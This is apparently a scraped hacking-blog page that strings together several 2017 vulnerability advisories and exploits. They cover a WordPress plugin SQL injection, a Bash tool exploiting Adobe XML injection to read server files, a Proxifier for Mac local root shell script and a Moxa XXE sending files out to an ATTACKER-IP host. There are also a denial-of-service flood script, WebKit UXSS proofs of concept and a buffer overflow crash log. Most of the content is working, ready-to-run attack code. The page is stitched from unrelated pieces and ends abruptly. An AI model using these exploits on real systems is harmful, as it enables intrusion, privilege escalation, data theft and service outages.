=============================================
MGC ALERT 2017-003
- Original release date: April 06, 2017
- Last revised: April 10, 2017
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================
I. VULNERABILITY
-------------------------
WordPress Plugin Spider Event Calendar 1.5.51 - Blind SQL Injection
II. BACKGROUND
-------------------------
WordPress event calendar is a FREE user-friendly responsive plugin to
manage multiple recurring events and with various options.
III. DESCRIPTION
-------------------------
This bug was found using the portal in the files:
/spider-event-calendar/calendar_functions.php: if
(isset($_POST['order_by'])) {
/spider-event-calendar/widget_Theme_functions.php: if
(isset($_POST['order_by']) && $_POST['order_by'] != '') {
And when the query is executed, the parameter "order_by" it is not
sanitized:
/spider-event-calendar/front_end/frontend_functions.php: $rows =
$wpdb->get_results($query." ".$order_by);
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.
It is possible to inject SQL code.
IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed to all suffer from Time Based SQL
Injection.
Time Based SQL Injection POC:
POST /wordpress/wp-admin/admin.php?page=SpiderCalendar HTTP/1.1
search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(2)))a)
(2 seconds of response)
search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(30)))a)
(30 seconds of response)
V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.
VI. SYSTEMS AFFECTED
-------------------------
Spider Event Calendar <= 1.5.51
VII. SOLUTION
-------------------------
Vendor release a new version.
https://downloads.wordpress.org/plugin/spider-event-calendar.1.5.52.zip
VIII. REFERENCES
-------------------------
https://es.wordpress.org/plugins/spider-event-calendar/
IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).
X. REVISION HISTORY
-------------------------
April 06, 2017 1: Initial release
April 10, 2017 2: Revision to send to lists
XI. DISCLOSURE TIMELINE
-------------------------
April 06, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
April 06, 2017 2: Send to vendor
April 07, 2017 3: Vendor fix the vulnerability and release a new version
April 10, 2017 4: Send to the Full-Disclosure lists
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863164445
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# # # # #
# Exploit Title: Classified Portal Software 5.1 - SQL Injection
# Google Dork: N/A
# Date: 11.04.2017
# Vendor Homepage: http://www.myclassifiedscript.com/
# Software: http://www.myclassifiedscript.com/demo.html
# Demo: http://www.clpage.com/
# Version: 5.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search-result.php?keyword=&ad_id=222&cat_level_root=4&cat_level_one=&cat_level_two=&classi_ad_type=[SQL]&sub.x=46&sub.y=8&searchkey=search_record
# http://localhost/[PATH]/search-result.php?keyword=&ad_id=[SQL]&cat_level_root=4&cat_level_one=&cat_level_two=&classi_ad_type=&sub.x=46&sub.y=8&searchkey=search_record
# Etc...
# # # # #
#!/bin/bash
#
# Exploit Title: Adobe XML Injection file content disclosure
# Date: 07-04-2017
# Exploit Author: Thomas Sluyter
# Website: https://www.kilala.nl
# Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html
# Version: Multiple Adobe products
# Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise
# CVE : 2009-3960
#
# Shell script that let's you exploit a known XML injection vulnerability
# in a number of Adobe products, allowing you to read files that are otherwise
# inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject
# This script is a Bash implementation of the PoC multiple/dos/11529.txt.
#
# According to the original Metasploit code, this attack works with:
# "Multiple Adobe Products: BlazeDS 3.2 and earlier versions,
# LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1,
# and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2"
#
PROGNAME="$(basename $0)" # This script
TIMESTAMP=$(date +%y%m%d%H%M) # Used for scratchfiles
SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}" # Used as generic scratchfile
EXITCODE="0" # Assume success, changes on errors
CURL="/usr/bin/curl" # Other locations are detected with "which"
SSL="0" # Overridden by -s
DEBUG="0" # Overridden by -d
BREAKFOUND="0" # Overridden by -b
TARGETHOST="" # Overridden by -h
TARGETPORT="8400" # Overridden by -p
READFILE="/etc/passwd" # Overridden by -f
################################## OVERHEAD SECTION
#
# Various functions for overhead purposes.
#
# Defining our own logger function, so we can switch between stdout and syslog.
logger() {
LEVEL="$1"
MESSAGE="$2"
# You may switch the following two, if you need to log to syslog.
#[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || /usr/bin/logger -p ${LEVEL} "$MESSAGE"
[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || echo "${LEVEL} $MESSAGE"
}
ExitCleanup() {
EXITCODE=${1}
rm -f ${SCRATCHFILE}* >/dev/null 2>&1
echo ""
exit ${EXITCODE}
}
# Many thanks to http://www.linuxjournal.com/content/validating-ip-address-bash-script
ValidIP() {
local IP=${1}
local STAT=1
if [[ ${IP} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]
then
OIFS=$IFS; IFS='.'
IP=(${IP})
IFS=$OIFS
[[ (${IP[0]} -le 255) && (${IP[1]} -le 255) && (${IP[2]} -le 255) && (${IP[3]} -le 255) ]]
stat=$?
fi
return $stat
}
# Function to output help information.
show-help() {
echo ""
cat << EOF
${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file]
-? Show this help message.
-d Debug mode, outputs more kruft on stdout.
-s Use SSL / HTTPS, instead of HTTP.
-b Break on the first valid answer found.
-h Target host
-p Target port, defaults to 8400.
-f Full path to file to grab, defaults to /etc/passwd.
This script exploits a known vulnerability in a set of Adobe applications. Using one
of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is
normally inaccessible.
NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example:
${PROGNAME} -h 192.168.1.20 -f c:\\\\coldfusion8\\\\lib\\\\password.properties
${PROGNAME} -h 192.168.1.20 -f 'c:\\coldfusion8\\lib\\password.properties'
This script relies on CURL, so please have it in your PATH.
EOF
}
# Parsing and verifying the passed parameters.
OPTIND=1
while getopts "?dsbh:p:f:" opt; do
case "$opt" in
\?) show-help; ExitCleanup 0 ;;
d) DEBUG="1" ;;
s) SSL="1" ;;
b) BREAKFOUND="1" ;;
h) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
ValidIP ${OPTARG}; if [[ $? -eq 0 ]]
then TARGETHOST=${OPTARG}
else TARGETHOST=$(nslookup ${OPTARG} | grep ^Name | awk '{print $2}')
[[ $? -gt 0 ]] && (logger ERROR "Target host ${TARGETHOST} not found in DNS."; ExitCleanup 1)
fi ;;
p) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
if [[ ! -z $(echo ${OPTARG} | tr -d '[:alnum:]') ]]
then logger ERROR "Target port ${OPTARG} is incorrect."; ExitCleanup 1
else TARGETPORT=${OPTARG}
fi ;;
f) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
if [[ (-z $(echo ${OPTARG} | grep ^\/)) && (-z $(echo ${OPTARG} | grep ^[a-Z]:)) ]]
then logger ERROR "File is NOT specified with full Unix or Windows path."; ExitCleanup 1
else READFILE=${OPTARG}
fi ;;
*) show-help; ExitCleanup 0 ;;
esac
done
[[ $(which curl) ]] && CURL=$(which curl) || (logger ERROR "CURL was not found."; ExitCleanup 1)
[[ -z ${TARGETHOST} ]] && (logger ERROR "Target host was not set."; ExitCleanup 1)
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with host/port/file: ${TARGETHOST},${TARGETPORT},${READFILE}."
################################## GETTING TO WORK
#
#
PATHLIST=("/flex2gateway/" "/flex2gateway/http" "/flex2gateway/httpsecure" \
"/flex2gateway/cfamfpolling" "/flex2gateway/amf" "/flex2gateway/amfpolling" \
"/messagebroker/http" "/messagebroker/httpsecure" "/blazeds/messagebroker/http" \
"/blazeds/messagebroker/httpsecure" "/samples/messagebroker/http" \
"/samples/messagebroker/httpsecure" "/lcds/messagebroker/http" \
"/lcds/messagebroker/httpsecure" "/lcds-samples/messagebroker/http" \
"/lcds-samples/messagebroker/httpsecure")
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>" > ${SCRATCHFILE}
echo "<!DOCTYPE test [ <!ENTITY x3 SYSTEM \"${READFILE}\"> ]>" >> ${SCRATCHFILE}
echo "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">" >> ${SCRATCHFILE}
echo "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>" >> ${SCRATCHFILE}
echo "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>" >> ${SCRATCHFILE}
echo "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>" >> ${SCRATCHFILE}
echo "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>" >> ${SCRATCHFILE}
echo "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>" >> ${SCRATCHFILE}
echo "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>" >> ${SCRATCHFILE}
if [[ ${DEBUG} -gt 0 ]]
then
logger DEBUG "XML file sent to target host reads as follows:"
echo "======================================"
cat ${SCRATCHFILE}
echo "======================================"
echo ""
fi
let CONTENTLENGTH=$(wc -c ${SCRATCHFILE} | awk '{print $1}')-1
for ADOBEPATH in "${PATHLIST[@]}"
do
[[ ${SSL} -gt 0 ]] && PROTOCOL="https" || PROTOCOL="http"
URI="${PROTOCOL}://${TARGETHOST}:${TARGETPORT}${ADOBEPATH}"
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with URI: ${URI}"
# Header contents based on a tcpdump capture of original exploit being
# run from Metasploit.
HEADER="-H \"Host: ${TARGETHOST}\" -H \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\" -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Content-Length: ${CONTENTLENGTH}\""
CURLPOST="${CURL} -X POST -k -s --http1.1 ${HEADER} -w \"%{http_code}\" -d @- ${URI}"
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Using this CURL command: ${CURLPOST}"
# The tr command dikes out any non-ASCII characters which might mess with output.
CURLOUTPUT=$(cat ${SCRATCHFILE} | ${CURLPOST} | tr -cd '\11\12\15\40-\176' 2>&1)
# Output is pretty garbled and the HTTP return code is enclosed in double quotes.
# I need to grab the last 5 chars (includes NULL EOF) and remove the ".
CURLCODE=$(echo ${CURLOUTPUT} | tail -c5 | tr -cd [:digit:])
if [[ ${DEBUG} -gt 0 ]]
then
logger DEBUG "CURL was given this HTTP return code: ${CURLCODE}."
logger DEBUG "Output from CURL reads as follows:"
echo "======================================"
echo "${CURLOUTPUT}"
echo "======================================"
echo ""
fi
logger INFO "${CURLCODE} for ${URI}"
if [[ (${CURLCODE} -eq 200) && (! -z $(echo ${CURLOUTPUT} | grep "<?xml version=")) ]]
then
echo "Read from ${URI}:"
echo "${CURLOUTPUT}" | sed 's/^[^<]*</</'
[[ ${BREAKFOUND} -gt 0 ]] && ExitCleanup 0
fi
if [[ ${DEBUG} -gt 0 ]]
then
echo -e "\nReady to continue with the next URI? [y/n]: \c"
read READY
case ${READY} in
y|Y|yes) logger DEBUG "Moving to next URI."; echo "" ;;
*) logger DEBUG "Aborting..."; ExitCleanup 1 ;;
esac
fi
done
ExitCleanup 0
# Source: https://m4.rkw.io/blog/cve20177643-local-root-privesc-in-proxifier-for-mac--218.html
Proxifier 2.18 (also 2.17 and possibly some earlier version) ships with a
KLoader binary which it installs suid root the first time Proxifier is run. This
binary serves a single purpose which is to load and unload Proxifier's kernel
extension.
Unfortunately it does this by taking the first parameter passed to it on the
commandline without any sanitisation and feeding it straight into system().
This means not only can you load any arbitrary kext as a non-root user but you
can also get a local root shell.
Although this is a bit of a terrible bug that shouldn't be happening in 2017,
Proxifier's developers fixed the issue in record time so that's something!
Everyone using Proxifier for Mac should update to 2.19 as soon as possible.
https://m4.rkw.io/proxifier_privesc.sh.txt
6040180f672a2b70511a483e4996d784f03e04c624a8c4e01e71f50709ab77c3
-------------------------------------------------------------------
#!/bin/bash
#####################################################################
# Local root exploit for vulnerable KLoader binary distributed with #
# Proxifier for Mac v2.18 #
#####################################################################
# by m4rkw #
#####################################################################
cat > a.c <<EOF
#include <stdio.h>
#include <unistd.h>
int main()
{
setuid(0);
seteuid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
EOF
gcc -o /tmp/a a.c
rm -f a.c
/Applications/Proxifier.app/Contents/KLoader 'blah; chown root:wheel /tmp/a ; chmod 4755 /tmp/a'
/tmp/a
-------------------------------------------------------------------
Source: https://www.securify.nl/advisory/SFY20170401/multiple_local_privilege_escalation_vulnerabilities_in_proxifier_for_mac.html
Abstract
Multiple local privileges escalation vulnerabilities were found in the KLoader binary that ships with Proxifier. KLoader is responsible for loading a Kernel Extension (kext). KLoader is installed setuid root, it accepts one or two command line arguments that are used in a number of system commands. These arguments are used in an insecure manner allowing a local attacker to elevate its privileges. In addition, the environment is not properly sanitized, which also introduces a possibility to run arbitrary commands with elevated privileges.
Tested versions
These issues were successfully verified on Proxifier for Mac v2.18.
Fix
Proxifier v2.19 was released that addresses these issues.
Introduction
Proxifier is a program that allows network applications that do not support proxy servers to operate through a SOCKS or HTTPS proxy or a chain of proxy servers. Multiple privilege escalation vulnerabilities were found in the KLoader binary that ships with Proxifier. These vulnerabilities allow a local user to gain elevated privileges (root).
KLoader is responsible for loading the ProxifierS.kext Kernel Extension (kext). Loading kext files requires root privileges. Because of this the setuid bit is set on this binary when Proxifier is started for the first time. KLoader accepts one or two command line arguments that are used in a number of system commands. These arguments are used in an insecure manner allowing a local attacker to elevate its privileges. In addition, the environment is not properly sanitized, which also introduces a possibility to run arbitrary commands with elevated privileges.
Unsanitized PATH environment variable
The KLoader binary executes a number of system commands. The commands are executed from a relative path. The PATH environment variable is not sanitized before these commands are run. The PATH variable is changed by KLoader, but all that happens is that a hardcoded path is appended to current value of PATH. Due to this, it is possible for a local attacker to set an arbitrary PATH variable such that the attacker's folder is search first. Commands that are started from a relative path - and thus allow for privileges escalation - include:
- cp
- mkdir
- tar
- kextstat
- kextload
Proof of concept
cd /tmp
export PATH=.:$PATH
echo -e "#/bin/bash\nid" > cp
chmod +x cp
/Applications/Proxifier.app/Contents/KLoader lpe
Command injection in KLoader
The command line arguments that are passed to Kloader are not validated and/or sanitized. These arguments are used as-is when construction system commands. This allows an local attacker to cause Kloader to execute arbitrary commands with root privileges.
Proof of concept
$ /Applications/Proxifier.app/Contents/KLoader ';id #'
usage: cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file target_file
cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file ... target_directory
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),[...]
Loading of arbitrary kext files
The main purpose of KLoader is to load ProxifierS.kext. The first command line argument is the path to the kext file, which normally is /Applications/Proxifier.app/Contents/ProxifierS.kext/. However since the first argument can be fully controlled by an attacker it is actually possible for a local unprivileged user to load any arbitrary kext file. The proof of concept below tries to OSXPMem Kernel Extension from the Rekall Forensic Framework.
Proof of concept
curl -L https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip --output osxpmem-2.1.post4.zip
unzip osxpmem-2.1.post4.zip
cd osxpmem.app/MacPmem.kext/
tar cvzf lpe.tar.gz Contents/
/Applications/Proxifier.app/Contents/KLoader lpe.tar.gz
kextstat -l -b com.google.MacPmem
[+] Credits: John Page AKA HYP3RLINX
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MX-AOPC-SERVER-v1.5-XML-EXTERNAL-ENTITY.txt
[+] ISR: ApparitionSec
Vendor:
============
www.moxa.com
Product:
=======================
MX-AOPC UA SERVER - 1.5
Moxa's MX-AOPC UA Suite is the first OPC UA server for industrial automation supporting both push and pull communication.
Vulnerability Type:
==============================
XML External Entity Injection
CVE Reference:
==============
CVE-2017-7457
Security Issue:
================
XML External Entity via ".AOP" files used by MX-AOPC Server result in remote file disclosure. If local user opens
a specially crafted malicious MX-AOPC Server file type.
Exploit/POC:
=============
run MX-AOPC UA Server / Runtime / Start Server Runtime Service
a) ATTACKER SERVER LISTENER we will access Windows msfmap.ini as proof of concept
python -m SimpleHTTPServer 8080
"Evil.AOP" file
<?xml version="1.0"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>
b) Evil "payload.dtd" file host on ATTACKER SERVER
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8080?%file;'>">
%all;
e.g.
python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /payload.dtd HTTP/1.1" 200 -
VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /?;[connect%20name]%20will%20modify%20the%20connection%20if%20ADC.connect="name";[connect%20default]%20will%20modify%20the%20connection%20if%20name%20is%20not%20found;[sql%20name]%20will%20modify%20the%20Sql%20if%20ADC.sql="name(args)";[sql%20default]%20will%20modify%20the%20Sql%20if%20name%20is%20not%20found;Override%20strings:%20Connect,%20UserId,%20Password,%20Sql.;Only%20the%20Sql%20strings%20support%20parameters%20using%20"?";The%20override%20strings%20must%20not%20equal%20""%20or%20they%20are%20ignored;A%20Sql%20entry%20must%20exist%20in%20each%20sql%20section%20or%20the%20section%20is%20ignored;An%20Access%20entry%20must%20exist%20in%20each%20connect%20section%20or%20the%20section%20is%20ignored;Access=NoAccess;Access=ReadOnly;Access=ReadWrite;[userlist%20name]%20allows%20specific%20users%20to%20have%20special%20access;The%20Access%20is%20computed%20as%20follows:;%20%20(1)%20First%20take%20the%20access%20of%20the%20connect%20section.;%20%20(2)%20If%20a%20user%20entry%20is%20found,%20it%20will%20override.[connect%20default];If%20we%20want%20to%20disable%20unknown%20connect%20values,%20we%20set%20Access%20to%20NoAccessAccess=NoAccess[sql%20default];If%20we%20want%20to%20disable%20unknown%20sql%20values,%20we%20set%20Sql%20to%20an%20invalid%20query.Sql="%20"[connect%20CustomerDatabase]Access=ReadWriteConnect="DSN=AdvWorks"[sql%20CustomerById]Sql="SELECT%20*%20FROM%20Customers%20WHERE%20CustomerID%20=%20?"[connect%20AuthorDatabase]Access=ReadOnlyConnect="DSN=MyLibraryInfo;UID=MyUserID;PWD=MyPassword"[userlist%20AuthorDatabase]Administrator=ReadWrite[sql%20AuthorById]Sql="SELECT%20*%20FROM%20Authors%20WHERE%20au_id%20=%20?" HTTP/1.1" 200 -
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
==========================================================
Vendor Notification: March 5, 2017
Vendor confirms vulnerability : March 21, 2017
Vendor "updated firmware April 7, 2017" : March 29, 2017
April 9, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec
Vendor:
============
www.moxa.com
Product:
===========
MXView v2.8
Download:
http://www.moxa.com/product/MXstudio.htm
MXview Industrial Network Management Software.
Auto discovery of network devices and physical connections
Event playback for quick troubleshooting
Color-coded VLAN/IGMP groups and other visualized network data
Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere.
Vulnerability Type:
===================
Denial Of Service
CVE Reference:
==============
CVE-2017-7456
Security Issue:
================
Remote attackers can DOS MXView server by sending large string of junk characters for the user ID and password field login credentials.
Exploit/POC:
=============
import urllib,urllib2
print 'Moxa MXview v2.8 web interface DOS'
print 'hyp3rlinx'
IP=raw_input("[Moxa MXView IP]>")
PAYLOAD="A"*200000000
url = 'http://'+IP+'/goform/account'
data = urllib.urlencode({'uid' : PAYLOAD, 'pwd' : PAYLOAD, 'action' : 'login'})
while 1:
req = urllib2.Request(url, data)
res = urllib2.urlopen(req)
print res
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
==========================================================
Vendor Notification: March 5, 2017
Vendor confirms vulnerability : March 21, 2017
Vendor "updated firmware April 7, 2017" : March 29, 2017
April 9, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1094
Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation.
It seems that that optimization is not implemented to the release version of Safari yet.
Tested on the Nighly 10.0.2(12602.3.12.0.1, r210957)
PoC:
-->
<body>
<script>
'use strict';
function spread(a) {
return [...a];
}
let arr = Object.create([1, 2, 3, 4]);
for (let i = 0; i < 0x10000; i++) {
spread(arr);
}
let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
f.onload = null;
try {
spread(f.contentWindow);
} catch (e) {
e.constructor.constructor('alert(location)')();
}
};
f.src = 'https://abc.xyz/';
</script>
</body>
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1084
When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.
Here's some snippets of that routine.
Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
{
...
if (newTarget && newTarget != exec->jsCallee()) {
// newTarget may be an InternalFunction if we were called from Reflect.construct.
JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);
if (LIKELY(targetFunction)) {
...
return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
...
} else {
...
return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
...
}
}
return baseClass;
}
inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
{
...
Structure* structure = Structure::create(
prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
m_structures.set(key, Weak<Structure>(structure));
...
}
As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.
Tested on Safari 10.0.2(12602.3.12.0.1) and Webkit Nightly 10.0.2(12602.3.12.0.1, r210800).
More simple way:
let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
f.onload = null;
let g = function () {};
g.prototype = f.contentWindow;
let a = Reflect.construct(Function, ['return window[0].eval;'], g);
let e = a();
e('alert(location)');
};
f.src = 'https://abc.xyz/';
-->
<body>
<script>
/*
When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.
Here's some snippets of that routine.
Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
{
...
if (newTarget && newTarget != exec->jsCallee()) {
// newTarget may be an InternalFunction if we were called from Reflect.construct.
JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);
if (LIKELY(targetFunction)) {
...
return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
...
} else {
...
return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
...
}
}
return baseClass;
}
inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
{
...
Structure* structure = Structure::create(
prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
m_structures.set(key, Weak<Structure>(structure));
...
}
As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.
Tested on Safari 10.0.2(12602.3.12.0.1) and Webkit Nightly 10.0.2(12602.3.12.0.1, r210800).
*/
'use strict';
function main() {
let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
f.onload = null;
let g = function () {};
g.prototype = f.contentWindow;
let a = Reflect.construct(Intl.NumberFormat, [], g);
Intl.NumberFormat.prototype.__lookupGetter__("format").call(a).constructor('alert(location)')();
};
f.src = 'https://abc.xyz/';
}
main();
</script>
</body>
################
#Exploit Title: Dmitry(Deepmagic Information Gathering Tool) Local Stack Buffer Overflow
#CVE: CVE-2017-7938
#CWE: CWE-119
#Exploit Author: Hosein Askari (FarazPajohan)
#Vendor HomePage: http://mor-pah.net/software/dmitry-deepmagic-information-gathering-tool/
#Version : 1.3a (Unix)
#Exploit Tested on: Parrot OS
#Date: 19-04-2017
#Category: Application
#Author Mail : hosein.askari@aol.com
#Description: Buffer overflow in DMitry (Deepmagic Information Gathering Tool) version 1.3a (Unix) allows attackers to cause a denial of service (application crash) or possibly have unspecified other impact via a long argument. An example threat model is automated execution of DMitry with hostname strings found in local log files.
###############################
#valgrind dmitry $(python -c 'print "A"*64')
==11312== Memcheck, a memory error detector
==11312== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==11312== Using Valgrind-3.12.0 and LibVEX; rerun with -h for copyright info
==11312== Command: dmitry AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
==11312==
Deepmagic Information Gathering Tool
"There be some deep magic going on"
ERROR: Unable to locate Host IP addr. for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Continuing with limited modules
HostIP:
HostName:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Gathered Inic-whois information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
---------------------------------
Error: Unable to connect - Invalid Host
ERROR: Connection to InicWhois Server AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA failed
Gathered Netcraft information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
---------------------------------
Retrieving Netcraft.com information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Netcraft.com Information gathered
**11312** *** strcpy_chk: buffer overflow detected ***: program terminated
==11312== at 0x4030DD7: VALGRIND_PRINTF_BACKTRACE (valgrind.h:6818)
==11312== by 0x40353AA: __strcpy_chk (vg_replace_strmem.c:1439)
==11312== by 0x804B5F7: ??? (in /usr/bin/dmitry)
==11312== by 0x8048ED8: ??? (in /usr/bin/dmitry)
==11312== by 0x407D275: (below main) (libc-start.c:291)
==11312==
==11312== HEAP SUMMARY:
==11312== in use at exit: 0 bytes in 0 blocks
==11312== total heap usage: 82 allocs, 82 frees, 238,896 bytes allocated
==11312==
==11312== All heap blocks were freed -- no leaks are possible
==11312==
==11312== For counts of detected and suppressed errors, rerun with: -v
==11312== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
======================================
GDB output:
